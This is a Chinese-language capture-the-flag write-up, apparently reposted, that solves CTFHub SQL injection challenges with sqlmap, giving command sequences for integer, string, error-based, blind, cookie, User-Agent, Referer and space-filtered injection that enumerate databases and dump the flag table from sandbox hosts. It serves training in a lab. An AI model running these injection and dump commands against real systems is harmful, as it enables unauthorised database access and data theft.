CTFHub——技能树——SQL注入(sqlmap)

Posted sparename

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFHub——技能树——SQL注入(sqlmap)相关的知识,希望对你有一定的参考价值。

整数型注入

sqlmap简介

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入

检测注入

基本格式

sqlmap -u “http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1

实战解题

  1. 查当前数据库
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" --current-db

得到当前数据库为:sqli

  1. 查数据表
sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables

得数据表是flag,news
3. 查具体数据

sqlmap -u "http://challenge-0b7c0ebf73b5a679.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump

得flag

字符型注入

由于sqlmap基于这5个基本注入,故同上
执行如下命令

sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1"
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" --current-db
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
sqlmap -u "http://challenge-1ac421e58cf1eefc.sandbox.ctfhub.com:10080/?id=1" -D sqli -T flag --dump

报错注入

同上,猜测数据在原来数据库的位置
于是直接输入以下命令

sqlmap -u "http://challenge-be2365d95f0e1188.sandbox.ctfhub.com:10080/?id=1"  -D sqli -T flag --dump

zh

布尔盲注

同上

sqlmap -u "http://challenge-7f3465d95f0e1188.sandbox.ctfhub.com:10080/?id=1"  -D sqli -T flag --dump

时间盲注

同上

sqlmap -u "http://challenge-bf267x5d95f0e1188.sandbox.ctfhub.com:10080/?id=1"  -D sqli -T flag --dump

mysql结构

本题同样使用如上命令,唯一区别在于flag位于的数据表发生变化
按第一步步骤重新来一遍

Cookie注入

打开burp抓包,拿到cookie值
注入,此次为cookie注入,cookie注入时需要设置level至少为2,不然无法成功注入

  1. 查数据库
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db   (sqli)
  1. 查表
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --tables --batch

得表名

  1. 查具体数据
sqlmap -u "http://challenge-3f19d183e8000da5.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 -D sqli --dump --batch 

得flag

UA注入

burp抓包得到的数据放进a.txt

格式:

sqlmap -r “a.txt” -p “User-Agent” –dbms mysql    -p指定User-Agent参数指定username参数,-dbms指定了数据库

注入命令

sqlmap -r "a.txt" -level 3 --current-db --batch (sqli)
sqlmap -r "a.txt" -level 3 -D sqli --tables --batch
sqlmap -r "a.txt" -level 3 -D sqli --dump --batch
sqlmap -r "a.txt" -level 3 -dbs 

必须加 * 号否则没有注入点,调用 --level参数,将等级调至 3级,只有等级为 3级即以上时才能对 user-agent进行注入

Refer注入

burp抓包得到的数据发现没有Refer请求头,添加Refer请求头放进b.txt

注入命令

sqlmap -r "b.txt" -level 3 --current-db --batch (sqli)
sqlmap -r "b.txt" -level 3 -D sqli --tables --batch
sqlmap -r "b.txt" -level 3 -D sqli --dump --batch

过滤空格

这里需要用到sqlmap的脚本
space2comment.py 用"/**/"替换空格符
注入命令

 sqlmap -u "http://challenge-292e957ddd1430bb.sandbox.ctfhub.com:10800/?id=1" --current-db --tamper=space2comment.py
 sqlmap -u "http://challenge-292e957ddd1430bb.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump --tamper=space2comment.py --batch
--tamper=space2plus.py

以上是关于CTFHub——技能树——SQL注入(sqlmap)的主要内容,如果未能解决你的问题,请参考以下文章

CTFHub技能树 Web-SQL注入详解

CTFHub-技能树-命令执行

CTFHub技能树笔记之RCE:命令注入过滤cat过滤空格

CTFHub(整数型注入)

【CTFHub】sql注入-过滤空格及其他类型的

sqlmap使用